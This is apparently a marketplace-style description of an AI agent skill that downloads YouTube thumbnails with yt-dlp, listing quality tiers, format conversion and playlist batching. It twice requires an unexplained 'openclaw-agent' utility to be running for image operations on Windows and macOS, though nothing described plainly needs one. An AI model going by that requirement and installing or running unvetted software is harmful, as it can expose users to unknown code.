youtube-thumbnail-grabber

The YouTube Thumbnail Grabber is a specialized automation agent skill designed for creators, researchers, and developers who need efficient access to YouTube video metadata and visual assets. By leveraging the industry-standard yt-dlp tool, this skill enables programmatic downloading of video thumbnails in multiple quality tiers, ranging from basic 120x90 default frames to 1280x720 maximum resolution captures. It simplifies the workflow of obtaining preview images for collages, reference archives, and content management systems.

• Downloads thumbnails across five standard YouTube quality tiers: maxresdefault, sddefault, hqdefault, mqdefault, and default.

• Converts various output formats (such as WebP) to standardized JPG files using automated conversion workflows.

• Performs batch processing capabilities for entire YouTube playlists or custom lists of video URLs via text files.

• Extracts video IDs from full URLs and retrieves raw video metadata, including titles and alternative frame captures (0-3).

• Supports direct URL construction and curl-based downloading for high-speed, headless environment performance.

• Prerequisites: Requires the openclaw-agent utility to be active for image operations and format conversions on Windows and macOS.

• Dependency: The skill relies on yt-dlp installed in the local environment; use pip install yt-dlp to initialize.

• Best Practices: Always check for HD availability when requesting maxresdefault; fall back to hqdefault to ensure consistent asset generation.

• Troubleshooting: If downloads fail, verify that openclaw-agent is running, as it manages the backend image processing tasks required for successful thumbnail persistence.